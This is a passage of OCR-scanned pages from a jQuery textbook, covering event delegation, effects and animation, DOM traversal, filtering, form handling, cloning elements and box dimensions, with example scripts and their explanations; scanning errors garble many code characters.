and its time is set to the time at 
which the event was clicked. 


RESULT 



fresh tigs 



pine nuts m Apr ie 2014 click 



honey 



balsamic vinegar 



To prevent the list from 
becoming cluttered with multiple 
date entries, whenever a list item 
is clicked, any <span> elements 
will be removed from the list, 

c07/js/event-object.js 


+ e.type + ‘</span> [ ) ; 


3. The time the event was 
clicked is then converted into a 
date that can be read, 

4. The date that the list item 
was clicked is written into the 
list item (along with the type of 
event that was used). 

Note that the timeStamp 
property does not display in 
F i refox. 
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ADDITIONAL PARAMETERS 
FOR EVENT HANDLERS 


The .on{) method has two optional properties that let you: 

Filter the initial jQuery selection to respond to a subset of the elements; 
Pass extra information into the event handler using object literal notation. 


Here you can see two additional 
properties that can be used with 
the .onf) method. 


1. This is the eventCs) that you 
want to respond to. If you want 
to respond to more than one 
event, you can provide a space- 
separated fist of event names, 
e.g,, 'focus click' will work on 
both focus and click. 


When square brackets are used 
inside a method, they signify that 
the parameter is optional. 


2. If you just want to respond 
to the event happening on a 
subset of the elements in the 
Initial jQuery selection, you can 
provide a second selector that 
will filter its descendants. 


Leaving out a parameter written 
in square brackets will not stop 
the method working. 


3. You can pass extra 
information to the function 
that is called when the event 
is triggered. This information 
is passed along with the event 
object (e). 


,on(events[, selector] [, data ] , 



< 2 > 


-© 


function(e)) ; 

1 — © — 1 © 


4 * This is the function that 
should be run when the specified 
events occur on one of the 
elements in the matched set. 


5. The function is automatically 
passed the event object as a 
parameter, as you saw on the 
previous two pages. (Remember, 
if you use it you must give it a 
name in the parentheses.) 


Older jQuery scripts may use 
the .delegatef) method for 
delegation. However, since 
jQuery 1.7 *on{) is the preferred 
approach to delegation. 
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DELEGATING EVENTS 


In this example, the event 
handler will run when users click 
or mouseover items in the list, 
except for the last list item. 


It writes out the content of the 
element the user interacted with, 
a status message (using the data 
property), and the event type. 


The information passed in the 
data property here uses object 
literal notation (so it could 
handle multiple properties). 


JAVASCRIPT 


cQ7 /j s/event-del egati on, j $ 


$ C f unct t on () { 

var listltem, itemStatus, eventType; 


© 

© 




$( ' ul ' ) .on ( 

'click mouseover' , 

' :not(#four) ' , 

{status: 'important'}, 
function(e) { 

listltem = 'Item: 1 + e. target. textContent + '<br />'; 
itemStatus = 'Status: ' + e. data. status + '<br />'; 
eventType = 'Event: ' + e.type; 

$('#notes' ) .html (1 istltem + itemStatus + eventType); 

i 

); 


}); 



There is an extra element in the HTML for this example to hold the data 
that appears under the list. 


1. The event handler is triggered 
by cl i ck and mouseover events. 

2. The sel ector parameter 
filters out the element whose i d 
attribute has a value of four. 

3* Additional data that will be 
used by the event handler is 
passed in as an object literal. 

4, The event handler uses the 
event object to display the 
content of the element the user 
interacts with, the information 
from the data that was passed 
into the function, and the event 
type, under the list in a white box. 
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EFFECTS 


When you start using jQuery, the effects methods can enhance your web 
page with transitions and movement. 


Here you can see some of the 
jQuery effects that show or hide 
elements and their content. You 
can animate them fading in and 
out, or slide them up and down. 


BASIC EFFECTS 

METHOD DESCRIPTION 

.show() Displays selected elements 

.hide(} Hides selected elements 


When an element that was 
previously hidden is shown, 
faded in, or slides into view, the 
other elements on the page may 
move to make space for it. 

When an element is hidden, has 
been faded out, or has slid out of 
view, the other elements on the 
page can move into the space 
these elements took up. 

Methods with toggle in their 
name will look at the current 
state of the element (whether 
it is visible or hidden) and will 
switch to the opposite state. 

Increasingly it is possible to 
create animations using CSS3. 
They are often faster than their 
jQuery counterparts, but they 
only work in recent browsers. 


. toggl e ( ) Toggles between showing and hiding selected elements 
FADING EFFECTS 


METHOD 

DESCRIPTION 

.fadelnf) 

Fades in selected elements making them opaque 

.fadeOutO 

Fades out selected elements making them transparent 

.fadeTo() 

Changes opacity of selected elements 

,fadeToggle() 

Hides or shows selected elements by changing their 
opacity (the opposite of their current state) 

SLIDING EFFECTS 

METHOD 

DESCRIPTION 

.slideUpO 

Shows selected elements with a sliding motion 

,slideDown() 

Hides selected elements with a sliding motion 

,sl ideToggle() 

Hides or shows selected dements with a sliding 
motion (in the opposite direction to its current state) 

CUSTOM EFFECTS 

METHOD 

DESCRIPTION 

.del ay () 

Delays execution of subsequent items in queue 

.stop{) 

Stops an animation if it is currently running 

.animate() 

Creates custom animations (see p334) 
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BASIC EFFECTS 


In this example, it appears as 
if list items are faded into view 
when the page loads. Each item 
is faded out when it is clicked on. 


In fact, the items are loaded 
normally along with the rest of 
the page, but then immediately 
hidden using JavaScript. 


Once hidden, only then are they 
faded into view. This is so they 
wifi still be visible in browsers that 
do not have JavaScript enabled. 


JAVASCRIPT 


$ (f uncti on C) { 

© ${ *h2 1 ) .hide{) .si ideDown() ; 

var $11 = $('11 ') ; 

$11 .hide () .each (function (Index) { 

©- $ (this) ,delay(70Q * index) .fadeln(700) ; 

: )); 

$1 i .on{ 1 cl ick 1 , functionQ { 

©- $(this) . fadeOut (700) ; 

' . }); 

}); 


c07/js/effects*js 


1. In the first statement, the 
selector picks the <h2> element 
and hides it so that it can be 
animated in. The chosen effect 
to show the heading is the 
• slideDovmQ method. Note 
how the methods are chained; 
there is no need to make a new 
selection for each of the tasks. 


RESULT 


2 , The second part causes the 
list of items to appear one by 
one. Again, before they can be 
faded in, they must be hidden. 
Then the .each() method is 
used to loop through each of 
the <1 1 > elements in turn. You 
can see that this triggers an 
anonymous function. 


fresh figs 
pine nuts 


Inside the anonymous function, 
the i ndex property acts as a 
counter indicating which <1 i > 
element is the current one. 

The ,delay(} method creates 
a pause before the list item 
is shown. The delay is set, 
multiplying the index number by 
700 ms (otherwise ail of the list 
items would appear at the same 
time). Then it is faded In using 
the fadeln() method, 

3. The final part creates an event 
listener that waits for the user to 
click on a list item. When they 
do, it will fade that item out to 
remove it from the list (the fade 
will take 700 milliseconds). 
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ANIMATING CSS 
PROPERTIES 


The . animate () method allows you to create 
some of your own effects and animations by 
changing CSS properties. 


You can animate any CSS 
property whose value can be 
represented as a number, e.g., 
height, width, and font-size. 
But not those whose value would 
be a string, such as font- f ami ly 
or text-transform 


The CSS properties are written 
using camelCase notation, so the 
first word is all lowercase and 
each subsequent word starts 
with an uppercase character, e.g.: 
border-top-1 eft- radius would 
become borderTopLeftRadtus. 


The CSS properties are specified 
using object literal notation (as 
you can see on the right-hand 
page). The method can also 
take three optional parameters, 
shown below. 


.animate({ 

// Styles you want to change 
}[, speed ] [, easing] [, complete]); 

1 © 1 1 © J 1 CD 1 


1. speed indicates the duration of 

the animation in milliseconds. (It 
can also take the keywords slow 
and fast.) 


2 . east ng can have two values: 

1 i near (the speed of animation 
is uniform); or swing (speeds up 
in the middle of the transition, 
and Is slower at start and end). 


3. complete is used to call a 
function that should run when 
the animation has finished. This 
is known as a callback function 


EXAMPLES OF JQUERY EQUIVALENTS OF CSS PROPERTY NAMES 

bottom left right top backgroundPosi tionX backgroundPosi tionY height width 

maxHeight minHeight maxWidth minWidth margin margi nBottom marginLeft margi nRight 

marginTop outlineWidth padding paddingBottom paddingleft paddingRight paddingTop 

fontSize letterSpacing wordSpacing lineHeight text Indent borderRadius borderWidth 

borderBottomWidth borderleftWidth borderRi ghtWi dth borderTopWidth borderSpacing 


334 JQUERY 


USING ANIMATION 


In this example, the ,animate() 
method is used to gradually 
change the values of two CSS 
properties. Both of them have 
numerical values: opaci ty and 
padding-left. 


When the user clicks on a list 
item, it fades out and the text 
content slides to the right. 
(This takes 500ms.) Once 
that is complete, a callback 
function removes the element. 


JAVASCRIPT 


G> 

®{ 

CD 

© 


$(function() { 

$(' 1 1 1 ) ,on( 'cl i ck 1 , functionQ { 
$ (thi s) .animate{{ 
opacity: 0.0, 
paddingLeft: '4=80' 

}, 500, functionQ { 

$ (thi s) .removeQ ; 

}); 

}); 

})s 


2, Inside the .aniirate() 
method, the opaci ty and 
paddi ngLeft are changed. 

The value of the paddi ngLeft 
property is increased by 80 
pixels, which makes it look like 
the text is sliding to the right as it 
fades out. 


RESULT 






pine nuts 



honey 



balsamic vinegar 



1. Ail list items are selected and, 
when a user clicks on one of 
them, an anonymous function 
runs. Inside it, $( this) creates 
a new jQuery object holding 
the element the user clicked on. 
The . animate () method is then 
called on that jQuery object. 


You can increase or decrease 
numeric values by a specific 
amount. Here, +=80 is used to 
increase the padding property 
by 80 pixels. (To decrease Et by 
80 pixels, you would use -=8G.) 


c07/js/animate,js 


3. The .animateQ method has 
two more parameters. The first 
is the speed of the animation 

in milliseconds (in this case, 
500ms). The second is another 
anonymous function indicating 
what should happen when the 
animation finishes. 

4, When the animation has 
finished, the callback function 
removes that list item from 
the page using the * remove () 
method. 

If you want to animate between 
two colors, rather than using the 
.animateQ method, there is a 
helpful jQuery color plugin here: 

https: //git hub, com/j query/ 
jquery-color 
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TRAVERSING THE DOM 


When you have made a jQuery selection, you 
can use these methods to access other element 
nodes relative to the initial selection. 


Each method finds elements 
that have a different relationship 
to those that are in the current 
selection (e.g., parents or 
children of the current selection). 


SELECTOR REQUIRED 

METHOD DESCRIPTION 

■ f i nd () All elements within current selection that match selector 

, closest {) Nearest ancestor (not just parent) that matches selector 


The ,find() and .closestQ 
methods both require a CSS- 
style selector as an argument. 

For the other methods, the CSS’ 
style selector is optional. But if 
a selector is provided, both the 
method and selector must match 
in order for the element to be 
added to the new selection. 

For example, if you start with 
a selection that contains one 
list item, you could create a new 
selection containing the other 
items from the list using the 
,sfblings() method. 

If you added a selector into the 
method such as this: 

.siblingsC .Important' ) 
then it would find only siblings 
with a cl ass attribute whose 
value included important. 


SELECTOR OPTIONAL 


METHOD 

DESCRIPTION 


. parent () 

Direct parent of current selection 


.parents () 

All parents of current selection 


,children{) 

All children of cur-rent selection 


,siblings() 

All siblings of current selection 


.next{) 

Next sibling of current element 


♦ nextAll () 

All subsequent siblings of current element 


, prev ( } 

Previous sibling of current element 


.prevAl 1 {) 

All previous siblings of current element 



If the original selection contains multiple elements, these methods will 
work on all of the elements in the selection (which can result in quite an 
odd selection of elements). You may need to narrow down your initial 
selection before traversing the DOM. 

Behind the scenes, jQuery will handle the cross-browser inconsistencies 
involved in traversing the DOM (such as whitespace nodes being added 
by some browsers). 
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TRAVERSING 


When the page loads, the list is 
hidden, and a link is added to the 
heading that indicates the users 
can display the list if they wish. 


JAVASCRIPT 


The link is added inside the 
heading and, if the user dicks 
anywhere on the <h2> element, 
the <ul> element is faded in. 


Any child <1 i> elements that 
have a cl ass attribute whose 
value is hot are also given an 
extra value of compl ete, 

cQ7/j$/traversing,js 


$(function() { 
var $h2 » $ ( 1 2 h2 1 ) ; 

$('ul ') .hide(); 

$h2. append { , <a>show</a> 1 ) ; 

© $h2,on( 3 cl1ck l 5 function() { 

@ $h2,next() 

© ^ f adeln { 500 ) 

© ,chi 1 dren( 1 .hot 1 ) 

® . addCl ass ( 1 compl ete ' ) ; 

© $h2,find(V) .fadeOutQ ; 

1 ); 

}); 


1. A click event anywhere in 
the <h2> element will trigger an 
anonymous function, 

2, The ■ next ( } method is used 

to select the next sibling after 
the <h2> element, which is the 
<ul> element. 


3. The <ul > is faded Into view. 

4. The .childrenQ method 
then selects any child elements 
of the <ul> element, and the 
selector indicates that it should 
pick only those whose class 
attribute has a value of hot. 



5. The .addClass() method 
is then used on those <1 i > 
elements to add a class name of 
complete. This shows how you 
can chain methods and traverse 
from one node to another. 

6. In the last step, the . fi nd () 
method can be used to select 
the <a> element that is a child 
of the <h2> element and fade it 
out because the list is now being 
shown to the users. 
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ADD & FILTER ELEMENTS 
IN A SELECTION 


Once you have a jQuery selection, you can add more elements to it, 
or you can filter the selection to work with a subset of the elements. 


The *add() method allows you 
to add a new selection to an 
existing one. 

The second table on the right 
shows you how to find a subset 
of your original selection. 

The methods take another 
selector as a parameter and 
return a filtered matched set. 

The items in this table that 
begin with a colon can be used 
wherever you would use a CSS- 
style selector. 

The :not() and : has ( ) selectors 
take another CSS-styfe selector 
as a parameter. There is also 
a selector called :contains{) 
that Jets you find elements that 
contain specific text. 

The * i s ( ) method lets you 
use another selector to check 
whether the current selection 
matches a condition. If it does, it 
will return true. This is helpful in 
conditional statements. 


ADDING ELEMENTS TO A SELECTION 

METHOD DESCRIPTION 

.add() Selects all elements that contain the text specified 

{parameter is case sensitive) 


FILTERING WITH A SECOND SELECTOR 

METHOD /SELECTOR DESCRIPTION 


* f i 1 ter ( ) 

Finds elements in matched that in turn match 
a second selector 

,find() 

Finds descendants of elements in matched set 
that match the selector 

* not ( } / :not () 

Finds elements that do not match the selector 

. has ( J / : has 0 

Finds elements from the matched set that 

have a descendant that matches the selector 

:contains() 

Selects all elements that contain the text 
specified (parameter is case sensitive) 

The following two selectors are equivalent: 

${’li ') .notC .hot 1 ) * addCI ass ( 'cool 1 ) s 
$('11 :not ( .hot) “) .addCI ass (‘cool ‘ } ; 

In browsers that support query Sel ector () / querySel ectorAl If}, 

: not ( ) is faster than * not { ) and :has{) is faster than *has{) 


TESTfNG CONTENT 

METHOD DESCRIPTION 

. i s ( ) Checks whether current selection matches a condition 

(returns Boolean) 
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FILTERS IN USE 


This example selects all list 
Items and then uses different 
filters to select a subset of the 
items from the list to work with. 


The example uses both the 
filtering methods as well as 
the CSS-style pseudo-selector 
:not(). 


JAVASCRIPT 


var $1 istltems = $ ( 1 1 i 1 ) ; 

(T) $1 istltems.fi 1 ter( 1 , hot: last') * removed ass ( ‘hot 1 } ; 
© ${ ] 1 i : not {.hot) ') .addCl ass (’ cool 1 ) ; 

© $1 istIteTf]s.has(‘em l ) .addCl ass ( 1 comp] ete 1 ) ; 


( 3 > 


$1 istltems. each{function() { 
var $this * $ (this) ; 
if ($thi s - i s ( J * hot 1 )) { 
$this.prepend('Pnorily item: ’); 

} 

LI); 


(D $ ( 1 1 i : cental ns (“honey") ') , append ( 1 (local ) f ) ; 


Once the filters have selected 
a subset of the list items, other 
jQuery methods are used to 
update them. 

c07/js/fi Iters. js 


I. The * f i 1 ter ( ) method finds 
the last list item with a cl ass 
attribute whose value is hot. 

It then removes that value from 
the cl ass attribute. 


2. The :not() selector is used 
within the jQuery selector to find 
<1 i > e I e men! s without a val ue of 
hot in their class attribute and 
adds a value of cool. 


3, The .has() method finds the 
<1 i> element that has an <em> 
element within it and adds the 
value compl ete to the class 
attribute. 



4. The .each () method loops 
through the list items. The 
current element is cached in 
a jQuery object, The . is() 
method looks to see if the <1 i > 
element has a cl ass attribute 
whose value is hot. If it does, 
'Priority item: h is added to 
the start of the item. 

5. The contains selector 
checks for <1 i > elements that 
contain the text "honey 11 and 
appends the text 11 (local ) 11 to 
the end of those items. 


JQUERY (339 






FINDING ITEMS BY ORDER 


Each item returned by a jQuery selector is given 
an index number, which can be used to filter 
the selection. 


The jQuery object is sometimes 
referred to as being an array-like 
object because if assigns a 
number to each of the elements 
that is returned by a selector 
That number is an index number, 
which means it starts at 0. 

You can filter the selected 
elements based on this number 
using methods or these 
additional CSS-style selectors 
that jQuery has added. 


FINDING ELEMENTS BY INDEX NUMBER 
METHOD /SELECTOR DESCRIPTION 


-eqO 

The element that matches the index number 

-lt{) 

Elements with an index less than the number 
specified 

:gt{) 

Elements with an index greater than the 
number specified 


Methods are applied to the 
jQuery selection, whereas 
selectors are used as part of the 
CSS-style selector. 




On the right, you can see a 
selector which picks all of the 
<1 i> elements from the fist 
example used throughout this 
chapter The table shows each 
list item and its corresponding 
index number. The example 
on the next page will use these 
numbers to select list items and 
update their cl ass attributes. 


INDEX HTML 


0 

<li 

id="one" cl ass= 1l hot l, ><em>fresh</e[n> figs</li> 

1 

<li 

id= c, two n class-^hot^pt ne nuts</ili> 

2 

<li 

id“ M three 11 clas$="hQt n >honey</l i> 

3 

<11 

i d="four">bal sami c vi negar</l i > 
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USING INDEX NUMBERS 


This example demonstrates how 
jQuery gives an index number 
to each of the elements in the 
jQuery selection. 


The :lt{) and :gt (} selectors 
and the *eq() method are used 
to find elements based on their 
index numbers. 


JAVASCRIPT 


$ (function () { 

(f) $( ' 1 i :lt(2) 1 ) . removed ass ( 1 hot ' ) ; 

(2) $( ' 1 i '} . eq ( 0 ) .addd ass ('complete') ; 

© $( ' 1 i :gt (2) 1 ) , addd ass ( ‘cool 1 ) ; 

1 ); 


For each of the matching 
elements, the value of the class 
at t r i bu tes a re c h a nged . 


c07/j s/i ndex-numbers Js 


1. The : 1 1 (} selector is used in 
the selector to pick list items 
with an index number less than 
2 + It removes the value hot from 
their class attribute. 


2. The .eq{) method selects 
the first item {using the number 
0 because the index numbers 
start at zero). It adds the value of 
complete to the class attribute. 


3. The :gt () selector is used in 
the jQuery selector to pick the 
list items with an index number 
higher than 2. It adds a value of 
cool to their cl ass attribute. 


RESULT 



fresh figs 

© 


pine nuts 



honey 



balsamic vinegar 

’ 
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SELECTING FORM 
ELEMENTS 


jQuery has selectors that are 
designed specifically to work 
with forms, however, they are 
not always the quickest way to 
select elements. 

SELECTORS FOR FORM ELEMENTS 

SELECTOR DESCRIPTION 

rbutton 

<button> and «i nput> elements whose type attribute has 
a value of button 

If you use one of these selectors 
on its own, jQuery will examine 
each element in the document to 
find a match (using code in the 
jQuery file, which is not as quick 

checkbox 

<input> elements whose type attribute has a value of 
checkbox. Note that you get better performance with 
$(' [type^" checkbox”] 1 ) 

: checked 

Checked elements from checkboxes and radio buttons 
(see : selected for select boxes) 

as CSS selectors). 

: disabled 

All elements that have been disabled 

Therefore, you should narrow 

:enabled 

All elements that are enabled 

down the part of the document 
the script needs to look through 
by placing an element name or 
other jQuery selector before 

: focus 

Element that currently has focus. Note that you get better 
performance with S(document,acti veElement) 

: f 11 e 

All elements that are file inputs 

using the selectors shown on 
this page. 

: i mage 

All image inputs. Note that you get better performance 
using [type** image' 1 ] 

You can also access elements in 
a form using the same selectors 
used to pick any element in 

: input 

All <button> <input> <select>, and <textarea> 
elements. Note that you get better performance from 
selecting elements, then using # f1 Iter input") 

jQuery. This will often be the 
faster option. 

: password 

All password Inputs. Note that you get better performance 
using $ ( 1 1 nput : password 1 ) 

It is also worth noting that, 
because jQuery handles 

: radio 

All radio inputs. To select a group of radio buttons, you can 
use $ ( r i nput [name^'gender”] : radio 1 ) 

inconsistencies in the way 
browsers treat whitespace, it is 
easier to traverse between form 
elements using jQuery than 
it is when you are using plain 

: reset 

All inputs that are reset buttons 

: selected 

All elements that are selected. Note that you get better 
performance using a CSS selector inside the .fi 1 ter{) 
method, e,g., *fi 1 ter ( w selected") 

JavaScript. 

: submit 

<button> and <i nput> elements whose type attribute 
has a value of submi t. Note that you will get better 
performance using [type= "submi t 


:text 

Selects <i nput> elements with a type attribute whose 


value is text, or whose type attribute is not present. You 
will likely get better performance from { 1 i nput : text ' ) 
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FORM METHODS 
& EVENTS 


RETRIEVE THE VALUE OF ELEMENTS 

METHOD DESCRIPTION 

The .val{) method gets the 
value of the first <i nput> 

<sel ect>, or <textarea> 
element in a jQuery selection. 

If can also be used to set the 
value for all matching elements. 

■val () 

Primarily used with <i nput>, <sel ect> and <textarea> 
elements. If can be used to get the value of the first element 
in a matched set, or update the value of all of them. 

OTHER METHODS 

METHOD DESCRIPTION 

The . filter () and . is() 
methods are commonly used 
with form elements. You met 
them on p338. 

.filterQ 

Used to filter a jQuery selection using a second 
selector (especially form-specific filters) 

• is() 

Often used with filters to check whether a form input is 
selected/checked 

$,i sNumeri c() is a global 
method. It is not used on a 
jQuery selection; rather, the 
value you want to test is passed 
as an argument. 

All of the event methods on the 
left correspond to JavaScript 
events that you might use 
to trigger functions. As with 
other jQuery code, they handle 
the inconsistencies between 
browsers behind the scenes. 

$ . i sNumeri c ( ) Checks whether the value represents a numeric value 
and returns a Boolean, it returns true for the following: 

$ , i sNumeri c ( 1 } $ . i s N umeri c ( - 3 ) 

$. i sNumeri c ( 11 2 11 } $,1 sNumeri c (4.4) 
$.isNunneric(+2) $*isNumeric(OxFF) 

EVENTS 

METHOD DESCRIPTION 

-on () 

Used to handle all events 

EVENT 

DESCRIPTION 

jQuery also makes it easier to 
work with a group of elements 

blur 

When an element loses focus 

change 

When the value of an input changes 

(such as radio buttons, 
checkboxes, and the options 
in a select box), because, once 

focus 

When an element gains focus 

select 

When the option for a <sel ect> element is changed 

you have selected the elements, 
you can simply apply individual 
methods to each of them 
without having to write a loop. 

submi t 

When a form is submitted 

When submitting a form, there is also a helpful method called 
. serial ize() which you will learn about on p394~p395. 

There is an example using forms 
on the next page, and there are 
more examples in Chapter 13. 
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WORKING WITH FORMS 


In this example, a button and 
form have been added under the 
list. When the user clicks on the 
button to add a new item, the 
form will come into view. 


The form lets users add a new 
item to the list with a single text 
input and a submit button. 

(The new item button is hidden 
when the form is in view.) 


When the user presses the 
submit button, the new item is 
added to the bottom of the list. 
(The form is also hidden and the 
new item button is shown again.) 


cQ7/form,htnil 


HTML 


<!-- list goes here </ul> 

<div id= ,, newltemButton"><button href="#" id="showFonn">new item</button></div> 
<form id a "newItemForm"> 

<input type="text" id="itemOescription" plaeeholder="Add description..." /> 
<input type=" submit" id a "addButtorr" val ue="add" /> 

</form> 


RESULT 




:| m 

QL 

irtt' 

mm 

1 

| /ra* 

LIST KING 

USTKING , 

USTKING 

BUY GROCERIES 

( BUY GROCERIES 

BUY GROCERIES 

fre&hfiil ' 

fresbbgs 

/resfrtigs 

pine nuts 

pine nuts 

pine nuts 

hones 

honey 

honey 

balsamic vinegar 

balsamic vinegar 

balsamic vinegar 

NEW HEM 


kale 


1 

NEWITEM 
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1. New jQuery objects are 
created to hold the new item 
button, the form to add new 
Items, and the add button. 
These are cached in variables. 


2, When the page loads, the 
CSS hides the new item button 
(and shows the form), so jQuery 
methods show the new item 
button and hide the form. 


3. If a user clicks on the new item 
button (the <button> element 
whose i d attribute has a value of 
showForm), the new item button is 
hidden and the form is shown. 


JAVASCRIPT 


c07/js/form Js 


${function() { 




var SnewItemButton = $('#newItemButton') ; 
var $newItemForm = JClnewItemFonti 1 ); 
var $textlnput = $ ('input: text ') ; 



$ n ew I temBu t ton . s how ( ) ; 
$newIteniForm.hide() ; 


$ ( ' fshowForm 1 ) .on( 'click' , function(){ 
$ n ewl temBu t ton , h i d e ( ) ; 

$n ewl tem Form. show() ; 

L }); 


© 

© 

© 

© 

d> 


$newItemFonruon( *submi t 1 > function(e) { 
e.preventOefaultQ ; 
var newText = $(’ input: text ') .val (h 
$( 1 1 i :last 1 ) . after { '<1 i>' + newText + '</11 >l J; 
$newItemForm,hide(); 

SnewItemBut ton. show () ; 

$textlnput. val 

}); 


}); 

4. When the form is submitted, 
an anonymous function is called. 
It is passed the event object 

5. The .preventDefaultO 
method can stop the form being 
submitted. 


6. The :text selector picks the 
<input> element whose type 
attribute has a value of text, 
and the .val() method gets the 
value the user entered into it. 
This value is stored in a variable 
called newText. 


7. A new item is added to 
the end of the list using the 
. after (} method. 

8. The form is hidden, the new 
item button is shown again, and 
the content of the text input is 
emptied (so the user can add a 
new entry if they want to). 
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CUTTING & COPYING 
ELEMENTS 


Once you have a jQuery selection, you can use 
these methods to remove those elements or 
make a copy of them. 


The . remove () method deletes 
the matched elements and all 
of their descendants from the 
DOM tree. 

The .detachQ method also 
removes the matched elements 
and all of their descendants 
from the DOM tree; however, it 
retains any event handlers (and 
any other associated jQuery 
data) so they can be inserted 
back into the page. 

The .empty () and • unwrap () 
methods remove elements in 
relation to the current selection. 


CUT 


METHOD 

DESCRIPTION 

. remove () 

Removes matched elements from DOM tree (including any 
descendants and text nodes) 

.detach{) 

Same as * remove () but keeps a copy of them in memory 

. empty () 

Removes child nodes and descendants from any elements 
in matched set 

. unwrap 0 

Removes parents of matched set, leaving matched elements 

COPY 

METHOD 

DESCRIPTION 

.cloneO 

Creates a copy of the matched set (including any 
descendants and text nodes) 


The .cl one{) method creates 
a copy of the matched set of 
elements (and any descendants), 
If you use this method on HTML 
that contains id attributes, the 
value of the i d attributes would 
need updating otherwise they 
would no longer be unique. 

If you want to pass any event 
handlers, you should add true 
between the parentheses. 


PASTE 

You saw how to add elements into the DOM tree on p318. 
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CUT, COPY, PASTE 


In this example, you can see 
parts of the DOM tree being 
removed, duplicated, and placed 
elsewhere on the page. 


JAVASCRIPT 


The HTML has an extra <p> 
element after the list, which 
contains a quote. It is moved to a 
new position under the heading. 


In addition, the first list item 
is detached from the list and 
moved to the end of it. 


c07/js/citt-copy-paste,js 


1 A j Query selection is made 
containing the <p> element at 
the end of the page, and this is 
cached in a variable called $p, 

2, That element is copied 
using the ,clone() method 
(along with its content and 
child elements). It is stored in a 
variable called tclonedQuote. 

3, The paragraph is removed, 

4, The cloned version of the 
quote is inserted after the <h2> 
element at the top of the page. 

5, The first list item is detached 
from the DOM tree and stored 
in a variable called Smoveltem 
(effectively removing it from the 
DOM tree). 

6, That list item is then 
appended to the end of the list. 


$(function{) { 

© var $p = 

© var $clonedQuote = $p.clone{); 

© $p. remove{) ; 

© JclonedQuote.i nsertAfter( ' h2 ' ) ; 

© var $moveItem = ${ '#one ' ) .detachf) ; 
© $moveltem.appendlo( 1 ul 1 ) ; 

}); 


RESULT 


% 

LI STRING 

BUY GROCERIES 


"Opportunity is missed by most people because 
it is dressed in overalls and looks like work." 
Thomas Edison 


pine nuts 
honey 

balsamic vinegar 
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BOX DIMENSIONS 


These methods allow you to discover or update 
the width and height of all boxes on the page. 


CSS treats each element on a 
web page as if it were in its own 
box. A box can have padding, a 
border, and a margin. If you set 
the width or height of the box 
in CSS, it does not include any 
padding, border, or margin - they 
are added to the dimensions. 

The methods shown here allow 
you to retrieve the width and 
height of the first element in 
the matched set. The first two 
also allow you to update the 
dimensions of all boxes in the 
matched set. 

The remaining methods give 
different measurements 
depending on whether you 
want to include padding, 
border, and a margin. Note 
how the .outerHeight () and 
.outerWidth{) methods take a 
parameter of true if you want 
the margin included. 

When retrieving dimensions, 
these methods return a number 
in pixels. 


RETRIEVE OR SET BOX DIMENSIONS 


METHOD 

DESCRIPTION 

.height () 

Height of box (no margin, border, padding) 

*width() 

Width of box (no margin, border, padding) 0) 

RETRIEVE BOX DIMENSIONS ONLY 

METHOD 

DESCRIPTION 

. innerHeight {} 

Height of box plus padding 

■ innerWidth() 

Width of box plus padding (2) 

■outerHeightf) 

Height of box plus padding and border 

■GuterWi dth() 

Width of box plus padding and border (3) 

■outerHei ght (true) 

Height of box plus padding, border, and margin 

,outerWidth(true) 

Width of box plus padding, border, and margin (4) 



.widthO 

,innerWidth() 

.outerWidth() 

.outerWidth(true) 


PADDING # BORDER MARGIN 
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CHANGING DIMENSIONS 


This example demonstrates how 
the ,height() and .width() 
methods can be used to retrieve 
and update box dimensions. 


The page displays the height of 
the container, it then changes 
the width of the list items using 
percentages and pixels. 


JAVASCRIPT 


c07/js/dimensions. js 


$(function{) { 

(?) var 1 i stHei ght = $( 1 #page 1 ) *height{) ; 

( 2 ) $ ( T ul 1 ), append ( £ <p>Hei ght: ( + li stHei ght + 1 px</p> " ) ; 

© $ ( f 1 i 1 ) .width ( 1 50% 1 ) ; ' 

$.( 'littuftfe') • width (125) ; 

${ c l i#two [ ) .width ( J 7 5% 1 ) ; 

}); 


1, A variable called 1 i stHei ght 
is created to store the height of 
the page container. It is obtained 
using the . height () method. 


2. The height of the page is 
written at the end of the list 
using the ,append() method and 
may vary between browsers. 


3. The selector picks afl the <1 i> 
elements and sets their width to 
50% of their current width using 
the .width () method. 


RESULT 

■ fresh figs 

T;| pine nuts 

honey 

g§ balsamic vinegar 



4, These two statements set 
the width of the first list item to 
125 pixels and the width of the 
second list item to be 75% of 
the width it was when the page 
loaded. 

Measurements in percentages or 
ems should be given as a string, 
with the suffix % or em. Pixels do 
not require a suffix and are not 
enclosed in quotes. 
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WINDOW & PAGE 
DIMENSIONS 


The .height() and . wi dth ( ) methods can be used to determine the 
dimensions of both the browser window and the HTML document. 
There are also methods to get and set the position of the scroll bars. 


On p348, you saw that you can 
get and set the height or width of 
a box using the .heightf) and 
.width{) methods. 

These can also be used on a 
jQuer y selection containing the 
wi ndow or document objects. 

The browser can display scroll 
bars if the height or width of; 

• A box's content Is larger than 
its allocated space, 

• The current page represented 
by the document object is 
larger than the dimensions 

of the browser window’s 
viewable area (viewport). 

The , scroll Left () and 
.scrollTopO methods allow 
you to get and set the position of 
the scroll bars. 

When retrieving dimensions, 
these methods return a number 
in pixels. 


METHOD 

DESCRIPTION 

.height () 

Height of the jQuery selection 

.widthf) 

Width of the jQuery selection 

.scroll Left () 

Gets the horizontal position of the scroll bar for the first 
element in the jQuery selection, or sets the horizontal 
scroll bar position for matched nodes 

* scroll Top () 

Gets the vertical position of the scroll bar for the first 
element in the jQuery selection, or sets the vertical 
scroll bar position for matched nodes 



J(document) .height () ; 


$ (window) .height () ; 

This method will often 
return the incorrect 
value unless a DGCTYPE 
declaration is specified 
for the HTML page. 
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POSITION OF ELEMENTS 

ON THE PAGE 


The .offsetf) and . posi ti on () methods can 
be used to determine the position of elements 
on the page. 


METHOD DESCRIPTION 

.offset () Gets or sets coordinates of the element relative to the top 
left-hand corner of the document object (1) 

. posi ti on () Gets or sets coordinates of the element relative to any 
ancestor that has been taken out of normal flow (using 
CSS box offsets). If no ancestor is out of normal flow, it 
will return the same as .offset {) (2) 


# ■ a 

i ► l 1 c 

^ ,offset() 

►© 

r 

f ^ 

.post t ion () 




To get the offset or position, store the object that is returned by these 
methods in a variable. Then use the 1 eft or right properties of the object 
to retrieve their position. 

var offset = $ ( r di v ' ) .offset() ; 

var text = 'Left: 1 + offset* left + ' Right: 1 + offset. right; 


The two methods on the left help 
you to determine the position of 
an element: 

• Within the page. 

• In relation to an ancestor that 
is offset from normal flow. 

Each of them returns an object 
that has two properties: 

top - the position from the top 
of the document or containing 
element. 

1 eft - the position from the left 
of the document or containing 
element. 

As with other jQuery methods, 
when used to retrieve 
information, they return the 
co-ordinates of the first element 
in the matched set. 

[f they are used to set the 
position of elements, they 
will update the position of all 
elements in the matched set 
(putting them in the same spot). 
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DETERMINING POSITION 
